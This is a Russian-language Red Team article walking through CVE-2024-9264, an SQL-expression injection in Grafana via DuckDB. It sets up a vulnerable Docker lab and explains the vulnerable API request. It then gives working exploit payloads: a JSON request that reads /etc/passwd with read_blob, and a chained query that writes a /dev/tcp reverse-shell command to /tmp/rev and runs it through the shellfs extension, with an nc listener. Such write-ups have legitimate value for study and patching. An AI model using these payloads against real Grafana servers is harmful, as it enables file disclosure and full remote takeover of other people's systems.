Уязвимость CVE-2024-9264: Удаленное выполнение кода в Grafana через SQL-выражения
Введение
Grafana – это популярная платформа для мониторинга и визуализации данных,
которая широко используется в IT-среде для создания интерактивных панелей
управления и графиков на основе различных источников данных. Она поддерживает интеграцию с множеством баз данных и сервисов, включая Prometheus, InfluxDB, Graphite, MySQL, PostgreSQL и другие.
Благодаря своей гибкости и удобству использования, Grafana стала стандартным инструментом для многих компаний, работающих с большими объемами данных. Grafana предоставляет мощные инструменты для анализа метрик и логов, позволяя пользователям создавать настраиваемые дашборды, отслеживать производительность приложений и инфраструктуры, а также получать уведомления о критических событиях.
DuckDB – это встроенная база данных, ориентированная на работу с аналитическими запросами и обработку больших объемов данных. Это легковесная реляционная система управления базами данных (СУБД), разработанная для встраивания в приложения и работы непосредственно в оперативной памяти. DuckDB поддерживает SQL-запросы и оптимизирован для быстрого выполнения сложных аналитических запросов.
Одной из ключевых особенностей DuckDB является её способность работать внутри других приложений, таких как Grafana, обеспечивая высокую скорость обработки данных и минимальные требования к ресурсам. Однако, как и любое программное обеспечение, они не застрахованы от уязвимостей, одна из которых будет рассмотрена далее.
Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.
Описание уязвимости
Уязвимость CVE-2024-9264 представляет собой критический баг в системе мониторинга и визуализации данных Grafana, связанный с недостаточной фильтрацией входных данных в экспериментальной функции SQL-выражений.
Данная уязвимость позволяет любым аутентифицированным пользователям выполнять произвольные SQL-запросы в базе данных DuckDB, что открывает возможности для проведения SQL-инъекций.
Злоумышленники могут использовать эту уязвимость для LFI (чтения файлов на сервера) или даже RCE (выполнения произвольного кода на сервера). Уязвимость имеет оценку в 9.4 баллов по CVSS.
SQL-инъекция — это тип уязвимости в веб-приложениях, позволяющий злоумышленникам вставлять произвольные SQL -запросы в поля ввода, что может привести к несанкционированному доступу к данным, их изменению или удалению.LFI (Local File Inclusion) – это тип уязвимости в веб-приложениях, позволяющий злоумышленникам включать локальные файлы на сервере в ответ на запрос пользователя. Это может привести к раскрытию конфиденциальной информации, такой как пароли или исходный код приложения.
RCE (Remote Code Execution) – это тип уязвимости в веб-приложениях, позволяющий злоумышленникам выполнять произвольный код на удаленном сервере. Это одна из самых опасных уязвимостей, так как она дает полный контроль над системой.
Подготовка стендового окружения
Сначала создадим файл Dockerfile . Этот файл будет использоваться для построения Docker-образа, который включает в себя Grafana и DuckDB.
Так как CVE-2024-9264 подвержены версии Grafana OSS и Enterprise 11.0.0 — 11.0.5, 11.1.0 — 11.1.6 и 11.2.0 — 11.2.1, будем использовать grafana 11.0.0.
Для работы этой уязвимости двоичный файл DuckDB должен присутствовать в$PATH Grafana. По умолчанию этот двоичный файл не устанавливается в дистрибутивах Grafana, поэтом при подготовки стенда мы дополним Dockerfile
установкой DuckDB: https://github.com/duckdb/duckdb/releases/download/v1.1.2/duckdb_cli-linux-amd64.zip
# Dockerfile
FROM grafana/grafana:11.0.0-ubuntu
USER root
# Установка DuckDB
RUN apt-get update && apt-get install -y && apt-get install unzip -
y \
wget \
&& wget
https://github.com/duckdb/duckdb/releases/download/v1.1.2/duckdb_cl
i-linux-amd64.zip \
&& unzip duckdb_cli-linux-amd64.zip -d /usr/local/bin/ \
&& chmod +x /usr/local/bin/duckdb \
&& rm duckdb_cli-linux-amd64.zip
# Добавление DuckDB в PATH
ENV PATH="/usr/local/bin:${PATH}"Соберем Dockerfile в новый образ:
docker build -t test-cve-grafana-duckdb .
Эта команда создаст новый Docker-образ с именем test-cve-grafana-
duckdb.
Запустим созданный Docker-образ:
sudo docker run --name=grafana -p 3000:3000 test-cve-grafana- duckdb
Создание пользователя
После запуска Docker-образа перейдем по http://localhost:3000 и авторизуемся со стандартным логином и паролем admin:admin , после чего создадим нового пользователя с минимальной ролью viewer (только на просмотр)
Разбор уязвимости
Уязвимым является запрос POST к /api/ds/query в Grafana, который предназначен для выполнения запросов к источникам данных (Data Sources) для сохранения или обновления панели управления. С помощью этого API пользователи могут отправлять запросы к различным подключенным базам данных или другим источникам данных, настроенным в Grafana, и получать результаты этих запросов.
- queries: массив объектов, каждый из которых описывает отдельный запрос кисточнику данных.
- refId: Уникальный идентификатор запроса. В данном случае
"GIS",но может быть любым. - datasource: Информация об источнике данных, к которому отправляется запрос.
- type: Тип источника данных. Здесь указан
"GIS". - uid: Уникальный идентификатор источника данных.
"__expr__", что указывает на использование экспериментальных выражений. - name: Имя источника данных. Указано как
"GIS". - type: Тип запроса. В данном случае
"sql", что указывает наSQL- запрос. - hide: Флаг, определяющий, следует ли скрывать результат запроса. Установлен в
false. - expression: Само
SQL-выражение, которое должно быть выполнено. В данном случае это"SELECT content FROM read_blob(\"/etc/passwd\")", что пытается прочитать содержимое файла/etc/passwd.
{
"queries": [
{
"refId": "GIS",
"datasource": {
"type": "GIS",
"uid": "__expr__",
"name": "GIS"
},
"type": "sql",
"hide": false,
"expression": "SELECT content FROM read_blob(\"/etc/passwd\")", "window": ""
}
],
"from": "1729313027261",
"to": "1729334627261"
}Также, уязвимость CVE-2024-9264 позволяет получить обратную оболочку.
"SELECT 1;COPY (SELECT 'sh -i >& /dev/tcp/192.168.0.111/4444 0>&1') TO '/tmp/rev'; SELECT 1;install shellfs from community; LOAD shellfs;SELECT * FROM read_csv('bash /tmp/rev |');"У себя в терминале подняли слушатель на 4444 порту.
rlwrap nc -lvnp 4444
Отправили запрос к api и получили обратное соединение.
Этот SQL-запрос представляет собой получение обратной оболочки через базу данных:
SELECT 1;– просто возвращает значение1, чтобы начать выполнение.COPY (SELECT 'sh -i >& /dev/tcp/192.168.0.111/4444 0>&1') TO '/tmp/rev';- Создает файл
/tmp/revс содержимым команды для обратного шелла, которая будет пытаться установить соединение сIP-адресом192.168.0.111на порту4444. SELECT 1;– снова возвращает1.install shellfs from community; LOAD shellfs;- Устанавливает и загружает расширение базы данных под названием
shellfs. Это расширение позволяет выполнять системные команды непосредственно изSQL-запросов. SELECT * FROM read_csv('bash /tmp/rev |');
Заключение
Уязвимость CVE-2024-9264 возникает из-за недостаточного контроля над тем, какие SQL-запросы могут быть выполнены через экспериментальную функцию SQL-выражений в Grafana.
Экспериментальная функция позволяет пользователям вводить произвольные SQL-запросы, которые затем выполняются базой данных DuckDB.
При отсутствии должной фильтрации и экранирования вводимых данных злоумышленник может внедрить вредоносные SQL-команды, что приведет к выполнению недопустимых действий на сервере.